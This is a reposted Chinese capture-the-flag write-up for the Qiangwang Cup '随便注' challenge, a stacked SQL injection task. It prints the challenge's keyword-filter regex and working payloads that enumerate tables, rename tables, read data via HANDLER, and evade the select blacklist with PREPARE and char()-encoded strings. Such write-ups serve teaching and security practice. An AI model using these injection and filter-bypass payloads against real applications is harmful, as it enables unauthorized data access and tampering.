码迷,mamicode.com
首页 > 其他好文 > 详细

[强网杯]随便注

时间:2020-04-01 12:43:01      阅读:187      评论:0      收藏:0      [点我收藏+]

标签:var   lan   order by   table   exp   upd   http   存在   update   

[强网杯]随便注

当所需的语句被ban时可以考虑,用其他方式实现该语句。但是如果想不出同样可以考虑改变数据来利用本来执行的语句。

打开页面,一个输入框,前端注释写了一个SQLMAP是没有灵魂的23333(为我的sqlmap R.I.P),很明显是个注入题。Fuzz之后得到提示过滤了一些参数,并且发现存在堆叠注入。

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
111‘;show databases#	//查库

技术图片

111‘;show tables#		//查表

技术图片

111‘;desc `1919810931114514`;#		//查1919810931114514中的列

技术图片

111‘;desc words#			//查words中的列

技术图片

1‘order by 2#
1‘order by 3#    //得出select了两个数据

因为查询了两个数据,所以查的时words表中的,猜测语句为。

select id,data from words where id = ‘$_GET[inject]‘

方式一

此时我们可以想办法让两表调换,让原语句对我们想要查询的表和字段查询。

  • 修改表名语法
mysql> ALTER TABLE testalter_tbl RENAME TO alter_tbl;
  • 修改字段名及类型语法
mysql> ALTER TABLE testalter_tbl CHANGE i j BIGINT;

EXP:

111‘;rename table words to qwq;rename table `1919810931114514` to words;alter table words change flag id varchar(100)#

这里要注意不要逐句注入,否则前语句会发生错误导致之后无法执行任何语句

最后爆id拿到flag

1‘or 1=1#

方式二

当在Mysql数据库的情况下我们可以使用handler语句。

  • 语法
HANDLER tbl_name OPEN [ [AS] alias]
 
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
 
HANDLER tbl_name CLOSE

EXP:

‘;handler `1919810931114514` open;handler `1919810931114514` read first#

方式三

预处理语句

PREPARE name from ‘[my sql sequece]‘; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句

变量传递

SET @tn = ‘hahaha‘; //存储表名
SET @sql = concat(‘select * from ‘, @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句

EXP:

111‘;PREPARE hacker from concat(char(115,101,108,101,99,116), ‘ * from `1919810931114514` ‘);EXECUTE hacker;#
111‘;SET @sqli=concat(char(115,101,108,101,99,116),‘* from `1919810931114514`‘);PREPARE hacker from @sqli;EXECUTE hacker;#

[强网杯]随便注

标签:var   lan   order by   table   exp   upd   http   存在   update   

原文地址:https://www.cnblogs.com/Rainsw0rd/p/12611533.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!